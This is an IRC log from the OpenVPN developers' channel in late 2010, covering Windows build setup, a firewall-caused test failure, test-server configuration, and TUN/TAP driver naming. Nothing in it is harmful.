Log opened Mon Oct 25 00:22:35 2010 00:22 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 00:22 -!- Irssi: #openvpn-devel: Total of 20 nicks [5 ops, 0 halfops, 0 voices, 15 normal] 00:23 -!- Irssi: Join to #openvpn-devel was synced in 54 secs 00:23 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has quit [Ping timeout: 265 seconds] 01:30 -!- dazo_afk is now known as dazo 01:32 <@dazo> ecrist_: you're in for quite a challenge ... jumping straight on C++ ... 01:35 < krzee> what would be easier? 01:42 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Left the building] 01:43 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:43 -!- mode/#openvpn-devel [+o dazo] by ChanServ 01:44 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Client Quit] 01:45 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:45 -!- mode/#openvpn-devel [+o dazo] by ChanServ 02:36 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:28 <@dazo> cron2: I got some time to play with my new TP-Link router in the weekend ... but seems radvd isn't going to work as easy as I hoped ... got any clues there? (ref: https://dev.openwrt.org/ticket/7734#comment:7) 03:28 < vpnHelper> Title: #7734 (wrt160nl r22553 radvd does not start on wlan0) – OpenWrt (at dev.openwrt.org) 04:32 <@cron2> mmmh, it starts just fine on mine 04:33 <@cron2> can't check the config right now (it's off and I'm not at home) 04:34 <@cron2> how do you run the wifi? with hostapd? 04:35 <@cron2> but in any case, there's a radvd flag "ignore not-yet-up interfaces and don't fail" 04:35 <@cron2> IgnoreIfMissing on|off 04:35 <@cron2> A flag indicating whether or not the interface is ignored if it does not exist at start-up. By default, radvd exits.IgnoreIfMissing on|off 04:35 <@cron2> oops 05:29 <@dazo> yeah, I'm using hostapd 05:31 <@dazo> I'll try to debug why hostapd is not setting the the if state to IFF_RUNNING ... but I see that debugging on such devices are slightly more challenging, but far from impossible :) 07:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:55 -!- You're now known as ecrist 11:00 -!- dazo is now known as dazo_afk 11:04 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 11:51 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 12:41 -!- raidzx is now known as raidz 12:41 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 12:41 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:41 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:52 !services. [ChanServ:#openvpn-devel] ecrist set flags +votsrifA on vpnHelper. 12:52 !services. [ChanServ:#openvpn-devel] ecrist set flags +O on vpnHelper. 12:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:26 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:43 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 19:03 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 19:05 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 19:05 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 19:05 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 21:07 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Log closed Tue Oct 26 00:59:01 2010 --- Log opened Tue Oct 26 00:59:07 2010 00:59 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 00:59 -!- Irssi: #openvpn-devel: Total of 18 nicks [7 ops, 0 halfops, 0 voices, 11 normal] 00:59 -!- Irssi: Join to #openvpn-devel was synced in 49 secs --- Log closed Tue Oct 26 01:12:46 2010 --- Log opened Tue Oct 26 05:40:20 2010 05:40 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 05:40 -!- Irssi: #openvpn-devel: Total of 19 nicks [8 ops, 0 halfops, 0 voices, 11 normal] 05:41 -!- Irssi: Join to #openvpn-devel was synced in 49 secs 06:02 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 07:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 09:46 <@dazo> cron2: seems the hostapd developer found the bug which blocks radvd ... https://dev.openwrt.org/ticket/7734#comment:8 09:46 <@vpnHelper> Title: #7734 (wrt160nl r22553 radvd does not start on wlan0) – OpenWrt (at dev.openwrt.org) 09:57 <@cron2> oh, cool 09:58 <@dazo> yeah!!! I'm gonna do a openwrt compile this evening :) 09:59 <@cron2> hrhr :) 10:33 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:12 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 12:06 -!- dazo is now known as dazo_afk 14:23 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:41 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] --- Log opened Tue Oct 26 20:48:22 2010 20:48 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 20:48 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 0 voices, 12 normal] 20:48 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 20:52 -!- ecrist changed the topic of #openvpn-devel to: OpenVPN testing: git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git || Browse Git: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary || Weekly snapshots: ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn --- Day changed Wed Oct 27 2010 00:02 -!- krzee [krzee@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 00:02 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 00:12 -!- dazo_afk is now known as dazo 00:18 <@dazo> krzie: not sure why that happens ... but crypto.c is an openssl file, afair ... 00:19 <@dazo> hmm .... it's also a crypto.c in openvpn 00:20 <@dazo> hmm ... this rings a bell in related to a stream cipher patch we reviewed but rejected some time ago ... --- Log opened Wed Oct 27 06:30:45 2010 06:30 -!- ecrist [~ecrist@173.8.118.210] has joined #openvpn-devel 06:30 -!- Irssi: #openvpn-devel: Total of 20 nicks [7 ops, 0 halfops, 0 voices, 13 normal] 06:31 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 07:34 <@mattock> dazo: any idea whether James' latest Python Windows build system code is in beta2.2 branch? 08:11 <@cron2> mattock: it should be, as beta2.2 is based on SVN21 08:11 <@cron2> lemme check 08:11 <@mattock> cron2: ok 08:12 <@mattock> I'm pretty close(?) to getting OpenVPN to build on Windows 08:12 <@cron2> cool 08:12 <@cron2> mattock: yes, the beta2.2 branch has the "win/" subdirectory which has "build.py" 08:12 <@cron2> that should be the new stuff 08:13 <@cron2> INSTALL says: 08:13 <@cron2> QUICK START: 08:13 <@cron2> Windows MinGW, using MSYS bash shell: 08:13 <@cron2> ./domake-win (see comments in the script for more info) 08:13 <@cron2> Windows Visual Studio: 08:13 <@cron2> python win\build_all.py 08:13 <@mattock> lol, I did not even read the INSTALL file :) 08:13 <@mattock> but figured those out anyways 08:19 < djc> can anyone see why this fails? 08:19 < djc> https://bugs.gentoo.org/attachment.cgi?id=252209&action=view 08:19 < djc> it works on my own box, so I'm not sure how to reproduce 08:23 <@mattock> cron2: is djc's failure related to the new tests you wrote? 08:24 <@mattock> hmm, some of the are old and from james... 08:24 <@cron2> mattock: no, that's an "long time existing" test 08:25 <@mattock> ok 08:25 <@cron2> it's t_cltsrv.sh - my new test stuff is not in 2.1.3 08:25 <@mattock> cron2: oh yes, 2.1.3... 08:25 <@cron2> djc: I think this is the crucial line: 08:25 <@cron2> Wed Oct 27 15:00:14 2010 write UDPv4 []: Operation not permitted (code=1) 08:26 <@mattock> firewall rules blocking loopback traffic? 08:40 <@cron2> that would be my guess (sorry for lagging, electrician just arrived) 08:42 <@cron2> mattock: can't see any other reason why write() on a socket would return "operation not permitted" 08:42 <@cron2> mmmh 08:42 <@cron2> could be selinux security stuff 08:42 <@mattock> yep, something pretty low-level anyways 08:42 < djc> thanks for the hints, I'll see what he reports 08:42 <@mattock> no prob 09:33 < djc> you guys were right on the money about the firewall thing 09:37 < ecrist> "operation not permitted" on sockets is almost always firewall. 09:37 < ecrist> see /topic in the main channel 09:37 < ecrist> :) 10:12 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 11:19 <@cron2> firewalls can be such a pain... customer "we can't reach <this> address! go fix it!" and then the other end has ACLs all over the place and I can't diagnose anything... 12:48 -!- SILOS0022 [~dpenesi@168.226.75.61] has joined #openvpn-devel 13:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:30 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:06 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 245 seconds] 20:11 * ecrist sits down to chug away at ssl-admin 20:16 < ecrist> dazo_afk: ping --- Day changed Thu Oct 28 2010 00:45 -!- SILOS0022 [~dpenesi@168.226.75.61] has quit [Ping timeout: 240 seconds] 00:57 -!- SILOS0022 [~dpenesi@168.226.75.74] has joined #openvpn-devel 01:20 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:04 -!- fahmad [~linux@unaffiliated/fahmad] has joined #openvpn-devel 02:05 < fahmad> i got openvpn crashed again here is the output of pstake http://paste.ubuntu.com/521244/ 02:06 <@mattock> hmm, "openvpn_plugin_open_v2"... was v2 added just recently? 02:50 <@cron2> No, v2 is old. dazo added v3 03:16 <@mattock> ok 03:16 <@mattock> btw. windows building instructions are slowly building up: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 03:16 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 03:46 <@mattock> ecrist: I enabled ntpd on forums, the clock was _way_ off 04:05 -!- SILOS0022 [~dpenesi@168.226.75.74] has quit [Quit: Ex-Chat] 04:08 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 04:23 -!- mape2k [~jabber@jabber.pennewiss.de] has quit [Quit: Leaving.] 04:24 < fahmad> any one have idea how to fix that radiusplugin thing ... 04:25 < fahmad> and i could not find this v3 in openvpn-2.1.3 : 04:25 < fahmad> :( 04:26 <@mattock> v3 is not in 2.1.3 04:26 <@mattock> it's only in the git repository, it's pretty new code 04:28 <@mattock> I don't have a slightest clue about the RADIUS issue... I suggest sending mail to openvpn-users mailing list 04:29 <@mattock> http://sourceforge.net/mail/?group_id=48978 04:29 <@vpnHelper> Title: SourceForge.net: Mailing Lists for OpenVPN (at sourceforge.net) 04:29 <@mattock> it's much more likely that somebody there can help you (~2000 people reading that list) 04:30 <@mattock> also, you could try #openvpn channel instead, that's the official support channel 04:33 < fahmad> ok 04:33 < fahmad> thanks 04:33 < fahmad> :) 06:02 -!- fahmad [~linux@unaffiliated/fahmad] has quit [] 06:39 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:07 < ecrist> mattock: thanks. I must have failed to configure that. 07:08 <@mattock> no prob, if ntp takes too long to correct the time then running ntpdate would make sense 07:14 < ecrist> did you just enable ntp, or did you run ntpupdate first? 07:15 * ecrist fixes it 07:16 < ecrist> it would appear, mattock, someone changed the hardware clock on that machine 07:17 < ecrist> the clock was almost exactly 10 hours behind. 07:17 <@mattock> perhaps related to the server migration to ESX... 07:18 < ecrist> ah, that could be. 07:18 < ecrist> it makes the most sense. 07:49 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 08:34 < kisom> Hey everyone. Is it currently possible to push a secondary DNS server to Windows clients? Can't find anything about it in the documentation. 08:36 <@mattock> if there's a need for meeting today just let me know 08:49 * cron2 needs sleep (but I will be around in case) 08:54 < ecrist> kisom: everyone in here is in the main channel, as well, so no need to ask in both channels. 09:09 < ecrist> ping mattock 09:10 < ecrist> there's an on-going issue with the FAQ page. 09:10 < ecrist> calling named anchors doesn't move to the right section of the page, and more importantly, doesn't expand that particular section. 09:10 < ecrist> http://openvpn.net/index.php/open-source/faq.html#slash30 09:10 <@vpnHelper> Title: FAQ Community (at openvpn.net) 09:10 < ecrist> for example 09:23 < krzee> http://openvpn.net/faq#slash30 09:23 <@vpnHelper> Title: FAQ Community (at openvpn.net) 09:23 < krzee> as well 09:23 < krzee> (when you fix 1, pls check the second) 09:24 < ecrist> they should *all* work. 09:25 < krzee> right, but theres been other times where the anchor works in the expanded page, but not in the short version 10:17 <@mattock> ecrist: ok, put it to my todo 10:19 < ecrist> thanks. :) 10:27 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 12:50 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:10 -!- openvpn2009 [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 13:45 -!- jamesyonan [~jamesyona@76.120.71.74] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:58 -!- fahmad [~linux@vpn.server4sale.com] has joined #openvpn-devel 13:58 -!- fahmad [~linux@vpn.server4sale.com] has quit [Changing host] 13:58 -!- fahmad [~linux@unaffiliated/fahmad] has joined #openvpn-devel 15:07 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 15:07 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 15:07 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:30 <@cron2> *grumble* 15:31 <@cron2> my stupid netbsd box's kernel is compiled without "dev tap"... 15:33 < fahmad> hehe 15:34 <@cron2> "how am I supposed to run meaningful auto-self-tests if the operating system is missing half the required functions" 15:34 * cron2 goes to bed 15:35 < fahmad> i posted my query on mailing list but i did not got any response :( 15:36 < krzee> fahmad, this is the channel for developers, the channel for getting help is #openvpn 15:37 < fahmad> krzee: i am sorry 15:37 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 15:49 -!- fahmad [~linux@unaffiliated/fahmad] has quit [] 15:50 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 16:26 -!- Netsplit *.net <-> *.split quits: @patelx, @vpnHelper 16:27 -!- Netsplit over, joins: @vpnHelper, @patelx 17:03 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:45 < ecrist> which ever one of you openvpn folks sends tweets, it's too late in the evening for a corp twitter acct. ;) --- Day changed Fri Oct 29 2010 01:01 < krzee> lol 01:04 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:16 <@mattock> cron2: public test server is now up, I verified that one can connect to it... I'm now checking if your test suite works 02:17 <@mattock> I'm using the certs etc al from sample-keys 02:17 <@cron2> mattock: cool. 02:17 <@mattock> is it "make test"? 02:17 <@cron2> make checks 02:17 <@mattock> ok 02:19 <@cron2> I actually have 4 different openvpn-server processes here - p2pm tun udp, p2mp tun udp with "topology subnet", p2mp tun tcp, p2mp tap - and more to come, for all "interesting" combinations of options (= "things that got changed recently and might need testing") 02:20 <@cron2> initial setup is somewhat of a nuisance, but then it's really nice - update git, run configure / make / make checks, know that nothing broke 02:21 <@mattock> first test passed 02:21 <@cron2> \o/ :-) 02:21 <@mattock> ok, need to modify the rc file a bit... 02:49 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: No route to host] 02:57 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:52 <@cron2> mattock: you have mail 04:53 <@mattock> cron2: excellent! 04:53 <@mattock> thanks 05:30 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:34 -!- jamesyonan [~jamesyona@76.120.71.74] has quit [Quit: jamesyonan] 08:20 <@mattock> cron2: why exactly is the "run" script creating a dummy interface? 08:36 <@cron2> is it? lemme check 08:36 <@cron2> ah, yes 08:37 <@cron2> if you ping the "tun0" interface address on the server, you cannot test whether installing of extra-pushed routes works 08:38 <@cron2> the dummy0 gets an IP address that is *not reachable* via the Internet (so you can't use the eth0 address of the server for this) 08:38 <@cron2> and you push a route for that IP address - so if "ifconfig + route-pull + additional route config" works on the client, you can reach the dummy0 address 08:42 <@cron2> this is not a strict requirement for the test setup, but it tests one extra part of the client side, which is especially important for the IPv6 payload stuff - otherwise, "push route-ipv6" is not tested 08:44 <@mattock> ok, I'll test the other stuff first and then figure out how to create a dummy interface on FreeBSD 08:44 <@cron2> mattock: ifconfig lo0 10.1.2.3/32 alias 08:44 <@cron2> you don't need a dummy there 08:44 <@mattock> oh, thanks :) 08:45 <@mattock> btw. why are all of your files in DOS format? 08:46 <@mattock> has a windows installation polluted them? :) 08:59 <@cron2> huh? 08:59 <@cron2> well, over here, thery are not... 09:02 <@mattock> strange 09:02 <@mattock> some of the tests pass now, but most fail 09:07 <@cron2> which ones fail, and how do they fail? 09:08 <@mattock> let's see, I'll rerun "make check" 09:11 <@mattock> "make check" produces a serious amount of debugging logs :) 09:11 <@mattock> there's a problem with creating the interfaces, as *ifconfig_route_diff.txt files are empty 09:16 <@cron2> what does the <testnum>:openvpn.log say? it should provide info what openvpn thinks it's doing - and if that works, ifconfig_route_diff should have soemthing 09:17 <@mattock> looks like a firewall issue on the client side, I'll verify 09:18 <@cron2> firewalls are so annoying 09:30 <@mattock> oh yes, now I know... my gateway server does not even have IPv6 support and it's doing a NAT 09:30 <@mattock> got to use some other server for testing 09:33 <@cron2> in theory, all this *should* not impact OpenVPN - if IPv6 support is missing, it should at least do the IPv4 stuff 09:42 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 09:57 <@cron2> (so you'd see IPv4 pings succeed and IPv6 pings fail) 09:59 <@mattock> cron2: if you want to do some digging yourself during the weekend, I can give you access to the test server... otherwise I'll probably get back to it on monday 10:09 <@cron2> mattock: no time :-) - I need to fight "tap+ipv6" and "tap+Solaris", and (just maybe) spend some time on paid-for work... .-) 10:28 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 11:32 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:34 <@mattock> cron2: ok, just let me know if/when you want access to that server 13:24 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:24 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:43 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 250 seconds] --- Day changed Sat Oct 30 2010 01:05 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 02:53 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 02:53 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 02:53 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:26 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 05:22 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 07:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 14:25 * cron2 drops a trac ticket into dazo's lap 14:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:38 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sun Oct 31 2010 02:24 <@vpnHelper> RSS Update - tickets: #66: the win-sys variable is not respected in all cases <https://community.openvpn.net/openvpn/ticket/66> 02:34 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 02:34 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 02:34 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 07:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 09:27 < waldner> something going on in the mailing list, or it's just my email going mad? 09:28 < waldner> I'm receiving batches of >6 months old messages 09:50 <@cron2> yep, same here, someone is replaying list messages 09:51 <@cron2> fetchmail... 09:58 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 09:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:05 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Mon Nov 01 2010 01:57 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 03:02 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 05:18 -!- helmut [helmut@subdivi.de] has quit [Remote host closed the connection] 05:23 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel 07:20 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 08:22 -!- roidelapluie [~roidelapl@unaffiliated/roidelapluie] has joined #openvpn-devel 08:22 < roidelapluie> Hi 08:22 < roidelapluie> Do you have a sysemd init script? 08:22 < roidelapluie> :) 08:30 < ecrist> a what? 08:47 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 08:52 < roidelapluie> systemd init script 09:19 < ecrist> I think debian and others distribute one, freebsd has an rc script. 13:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:30 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:30 -!- helmut [helmut@subdivi.de] has quit [Remote host closed the connection] 14:31 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel 15:06 < krzie> (none of which are part of openvpn) 17:57 < ecrist> you shush 17:57 * ecrist changes channel name to #openvpn-devel-and-related-scripts-and-packaging-information-etc-etc-etc-etc-etc 19:30 < krzie> ;) 19:31 < krzie> this zfs mirror really makes things snappier 19:31 < krzie> i should benchmark my reads, i know i feel the difference --- Day changed Tue Nov 02 2010 02:20 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:26 -!- dazo_afk is now known as dazo 02:35 <@dazo> ecrist: pong 02:56 <@cron2> hey dazo :) 03:03 <@dazo> roidelapluie: sounds like you're running the very latest Fedora ... no, there's no systemd scripts available ... but if you get something ready, we're sure keen on seeing it 03:03 <@dazo> cron2: hey! wazzup? 03:03 * dazo is looking at the ticket cron2 threw on his lap 03:04 <@dazo> s/at/for/ 03:05 <@dazo> ahh! yeah, solaris is getting ready! 03:05 <@cron2> yep, things are finally moving forward :-) 03:05 <@dazo> that's cool! 03:06 <@dazo> yeah, I noticed some mails ... in the midst of ~250 mail messages being resent from the openvpn-* mailing lists .... 03:07 <@cron2> yep, that was very annoying. I fixed it by grepping for this unique hostname in my "maildir/" mail spool and just removing all the files that matchd 03:07 * dazo only got IMAP access to his mail server ... 03:08 <@dazo> (well, offlineimap could probably solve it, though) 03:26 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 03:39 <@mattock> jamesyonan: I got Windows building almost working, but it complains about openssl header files, even though they're present (<build-root>/openssl/*.h). Build _does not_ complain about lzo headers (at <build-root>/lzo/*.h). Any clues? 03:40 <@jamesyonan> which build system are you using? (autoconf or python) 03:42 < krzee> anyone know how far along that adaptive iroute code is? 03:43 < krzee> (i forget who is coding it) 03:44 <@cron2> well, it seems to be "done", but enthusiasm on the openvpn side has been lacking, so it's not progressing 03:44 < krzee> as in testing and whatnot? 03:44 <@cron2> as in "is anyone pushing for inclusion?" 03:44 < krzee> as i get questions from people about that i can make testers out of them... in fact im answering a forum post right now about that 03:45 < krzee> well i dunno who cares and doesnt on the dev side... but i know users will use it 03:45 < krzee> making a mesh of ovpn is not extremely common, but its a somewhat common goal 03:45 <@cron2> you do? I found the use case a bit esoteric, to be honest :-) 03:45 < krzee> maybe #3, following lans behind ovpn and redirect inet over server 03:46 < krzee> nah man, a lot of people care about making a secure mesh over the inet 03:46 <@dazo> krzee: the guy have "drop'n'run" attitude to the code ... so he is not willing to maintain his patch ... which makes me very sceptical 03:46 < krzee> ahh, i see how that would be an issue 03:47 < krzee> iroute is a big gotchya for mesh... once people are told they need ptp (and i type !rip) its not so bad for them 03:47 <@jamesyonan> mattock: if you are using the autoconf build system, you need to apply a patch to openssl that exists in install-win32/openssl 03:47 < krzee> but much cleaner/easier if they can run client/server 03:47 <@mattock> jamesyonan: I'm using the Python build system 03:48 < krzee> https://forums.openvpn.net/viewtopic.php?p=8264#p8264 03:48 <@vpnHelper> Title: OpenVPN Support Forum View topic - Configuration Question on multiple servers and lans (at forums.openvpn.net) 03:49 < krzee> ;] 03:49 <@jamesyonan> mattock: cool -- I was able to get that to work out of the box using the MSVC build instructions for OpenSSL 03:49 <@mattock> ok, so I need to build openssl before building openvpn? openssl header files are not enough? 03:54 <@cron2> krzee: you can do meshing with tap and <run any routing protocol you like over it> just fine 03:54 <@jamesyonan> I've always done a build to make sure that the headers and the libraries are compatible. 03:56 <@mattock> jamesyonan: ok, I'll do that then... btw. the current build instructions (with some extra stuff) are here: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 03:56 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 03:56 < krzee> cron2, sure but if you are connecting a few lans of decent size this is far from ideal 03:57 <@mattock> there's probably some misinformation there still, but it's w.i.p. 03:57 < krzee> (at best) 03:57 <@cron2> krzee: huh? you can use tap without bridge. Size of LAN doesn't matter 03:57 < krzee> when you do that wouldnt a client with a lan still need an iroute? 03:57 <@cron2> no 03:57 < krzee> (most my knowledge requires tun ;] ) 03:57 <@cron2> no iroutes for tap 04:02 <@cron2> krzee: tap is just a long ethernet cable between two nodes. What you do with it is your choice - you can do "bridge it to wired LAN on the other side" - in that case, you have one single large LAN spanning multiple locations 04:02 <@cron2> or you can treat it as "ethernet cable between routers" and run ospf/bgp/... across it, to learn which IP networks are located where 04:02 <@cron2> colleague of mine runs a mesh network across tap with bgp, works perfectly well 04:02 <@mattock> cron2, dazo: was IPv6 support added to Windows TAP _or_ TUN driver in 2.2-beta3? 04:02 <@mattock> or is there a typo here: http://webdev.openvpn.net/index.php/open-source/downloads.html 04:03 <@cron2> mattock: since there is no "windows tun" driver... :-) 04:03 <@mattock> it says TAP now 04:03 <@cron2> the windows driver is always "tap", but it can run in "tun mode" 04:03 <@mattock> ok, so it's called TAP for historical reasons, but also does TUN :) 04:06 <@cron2> well, the driver is called "tap0901.sys" 04:06 <@cron2> and installed with "tapinstall"... :-) 04:06 <@cron2> so yes, it's called TAP "because it's called so", but it can do "tun" functions 04:07 <@mattock> cron2: ok, thanks... somebody was just confused about this: "Added IPv6 support to Windows TAP driver" 04:07 <@mattock> on downloads page 04:07 <@mattock> and I can see why 04:07 < krzee> ya that often confuses people into running tap mode ;) 04:08 < krzee> then i beat them with my tun stick 04:08 <@mattock> krzee: good :) 04:20 < roidelapluie> http://paste.pocoo.org/raw/284814/ << my systemd init script for openvpn 04:21 <@mattock> we have got a nice article to our wiki: https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide 04:21 <@vpnHelper> Title: Easy_Windows_Guide – OpenVPN Community (at community.openvpn.net) 04:22 <@mattock> "This page contains a no-frills guide to getting OpenVPN up and running on a Windows server and client(s)" 04:23 <@mattock> OpenVPN server on Windows server, interesting... 04:24 < krzee> ive had to do that at a job or 2... always hurts to call a win machine a server 04:31 <@cron2> mattock: well, one could call it "Windows TUN/TAP driver" or so. Would be more helpful. 04:33 < krzee> ild support such a name change 04:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:43 <@mattock> cron2: sounds good, would reduce some of the confusion 06:56 -!- roidelapluie [~roidelapl@unaffiliated/roidelapluie] has left #openvpn-devel [] 08:21 <@dazo> mattock: the naming is a mess ... and on most *nix system you have a tun driver which does tap as well ... and since windows is often considered being up-side-down, no wonder the tap driver there does tun as well :) ... driver wise, nowadays all platforms does tun and tap 08:21 <@dazo> or as a proverb says ... beloved children have many names 08:22 <@dazo> (but it's right, the very first windows drivers only supported TAP devices, iirc ... long before openvpn 2.0, iirc) 08:23 <@mattock> dazo: yes, perhaps rethinking the naming policy would make sense 08:23 <@dazo> well ... we don't do tun/tap drivers for any other platforms than Windows and Solaris 08:24 <@dazo> we can rethink those ... but sending a patch to LKML, renaming tun.ko to tuntap.ko ... wow, that can become an interesting (flame-able) discussion :) 08:25 <@dazo> and similar for the *BSD platforms as well, I believe 08:26 <@dazo> but for the "visible description" of the wintap driver ... sure, stating something like what cron2 says, makes sense 08:28 <@mattock> yes, we could have a "human readable/understandable" name for the driver and keep the confusing parlance under the hood 08:41 <@mattock> god damn WinXP build computer... some process always starts eating 99% of the CPU after which it's 